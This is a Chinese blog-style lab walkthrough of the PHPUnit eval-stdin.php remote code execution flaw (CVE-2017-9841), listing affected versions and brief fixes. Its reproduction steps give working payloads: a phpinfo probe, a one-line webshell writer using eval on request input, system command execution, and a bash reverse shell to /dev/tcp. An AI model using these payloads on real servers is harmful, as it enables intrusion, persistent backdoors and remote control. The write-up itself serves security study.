phpunit 远程代码执行 (CVE-2017-9841)

@[TOC](phpunit 远程代码执行 (CVE-2017-9841))
所有文章,仅供安全研究与学习之用,后果自负!

phpunit 远程代码执行 (CVE-2017-9841)

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架。

0x01 漏洞描述

通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

80端口
漏洞位于

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

0x02 影响范围

PHPUnit 4.8.19 ~ 4.8.27
PHPUnit 5.0.10 ~ 5.6.2

0x03 漏洞复现

漏洞位于

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

(1)访问

http://118.193.36.37:64902/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

存在该页面
在这里插入图片描述(2) 抓包利用

修改请求头为POST
添加请求体  <?php phpinfo();?>

在这里插入图片描述
或者直接抓包改包放包 显示在浏览器中
在这里插入图片描述
在这里插入图片描述

(3)写入webshell

<?=file_put_contents("1.php", '<?=@eval($_REQUEST[1]);?>');

可能该靶场权限不够
在这里插入图片描述
(4) 代码执行系统命令

<?php system("whoami"); ?>

在这里插入图片描述

<?php system("ls /tmp"); ?>

在这里插入图片描述

<?php system("bash -i >& /dev/tcp/IP/PORT 0>&1"); ?>

反弹shell失败 应该是设置了权限

0x04 漏洞修复

生产环境中直接删掉phpunit,没有用。

禁止访问该目录。
升级

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值